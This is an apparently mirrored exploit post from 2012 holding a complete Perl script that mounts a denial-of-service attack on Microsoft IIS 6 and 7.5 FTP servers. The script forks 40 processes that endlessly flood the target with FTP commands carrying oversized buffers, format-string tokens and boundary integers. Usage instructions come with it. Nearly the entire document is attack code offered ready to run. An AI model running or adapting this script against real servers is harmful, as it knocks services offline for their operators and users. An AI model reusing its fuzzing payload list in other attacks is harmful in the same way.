Edit Report

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2012070029

Below is a copy:

# Exploit Title: Microsoft IIS 6 , 7.5  FTP Server Remote Denial Of Service
# Date: June 29, 2012
# Author: coolkaveh
# coolkaveh () rocketmail com
# https://twitter.com/coolkaveh
# Vendor Homepage: http://www.microsoft.com
# Version:  Microsoft IIS 6 , 7.5  FTP Server
# Tested on: windows server 2008 r2 , seven ,
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#When sending multiple parallel FTP command  requests to a Microsoft
IIS FTP Server
#CPU usage goes up to max capacity  and server gets non responsive.
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Lame Microsoft IIS FTP Server Remote Denial Of Service
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl -w
use IO::Socket;
use Parallel::ForkManager;
$|=1;
sub usage {
    print "Please DISABLE firewall daemon of this operating system first!\n";
    print "FTP Server Remote Denial Of Service\n";
    print "by coolkaveh\n";
    print "usage: perl killftp.pl <host> \n";
    print "example: perl killftp.pl www.example.com \n";
}
$host=shift;
$port=shift || "21";
if(!defined($host)){
        print "Please DISABLE firewall daemon of this operating system first!\n";
    print "FTP Server Remote Denial Of Service\n";
    print "by coolkaveh\n";
        print "coolkaveh () rocketmail com\n";
    print "usage: perl killftp.pl <host> \n";
    print "example: perl killftp.pl www.example.com \n";
        exit(0);
}
$check_first=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Timeout=>60);
if(defined $check_first){
        print "$host -> $port is alive.\n";
        $check_first->close;
}
else{
die("$host -> $port is closed!\n");
}
@junk=('A'x5,'A'x17,'A'x33,'A'x65,'A'x76,'A'x129,'A'x257,'A'x513,'A'x1024,'A'x2049,'A'x4097,'A'x8193,
'A'x12288,'%s%p%x%d','024d','%.2049d','%p%p%p%p','%x%x%x%x','%d%d%d%d','%s%s%s%s','%99999999999s',
'%08x','%%20d','%%20n','%%20x','%%20s','%s%s%s%s%s%s%s%s%s%s','%p%p%p%p%p%p%p%p%p%p',
'%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%','%s'x129,'%x'x257,'-1','0','0x100',
'0x1000','0x3fffffff','0x7ffffffe','0x7fffffff','0x80000000','0xfffffffe','0xffffffff','0x10000','0x100000','1',
);
@command=(
'NLST','CWD','STOR','RETR',
'MKD','RMD','DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE',
'APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE
L','TYPE I','NLST','CWD', 'STOR','RETR','MKD',
'RMD', 'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT',
'HELP','MODE','APPE','STRU','SITE','SITE INDEX',
'TYPE','TYPE A','TYPE E','TYPE L','TYPE I','NLST','CWD',
'STOR','RETR','MKD','RMD', 'DELE','RNFR','RNTO','LIST','MDTM',
'SIZE','STAT','ACCT',    'HELP','MODE','APPE','STRU','SITE','SITE
INDEX','TYPE','TYPE A','TYPE E','TYPE L','TYPE I',
'NLST','CWD','STOR','RETR','MKD','RMD',
'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE','APPE',
'STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE L','TYPE
I','NLST','CWD','STOR','RETR','MKD','RMD','DELE',
'RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE','APPE','STRU','SITE','SITE
INDEX','TYPE','TYPE A','TYPE E',
'TYPE L','TYPE I','NLST','CWD','STOR','RETR','MKD','RMD',
'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP',
'MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE
E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD',
'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT',
'HELP','MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A',
'TYPE E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD',
'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT',
'HELP','MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE
E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD',
'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','HELP','MODE','APPE','STRU','SITE','SITE
INDEX','TYPE',
'MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE
E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD',
'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE','APPE','STRU','SITE','SITE
INDEX','TYPE','TYPE A','TYPE E',
'TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD',
'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP',
'MODE','APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE
E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD',
'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE','APPE','STRU','SITE','SITE
INDEX','TYPE','TYPE A',
'TYPE E','TYPE L','TYPE I','NLST','CWD', 'STOR','RETR','MKD','RMD',
'DELE','RNFR', 'RNTO','LIST','MDTM','SIZE','REST'
);
print "Dosing Server!\n";
$pm = new Parallel::ForkManager(40);
while (1) {
my $pid = $pm->start and next;
   COMMAND_LIST: foreach $cmd (@command){
        foreach $poc (@junk){
                LABEL5: $sock4=IO::Socket::INET->new(PeerAddr=>$host,
PeerPort=>$port, Proto=>'tcp', Timeout=>30);
                if(defined($sock4)){
                        $sock4->send("$cmd"." "."$poc\r\n", 0);
                        $sock4->recv($content, 0, 900);
                                }
                        }
                }               
    $pm->finish;
}

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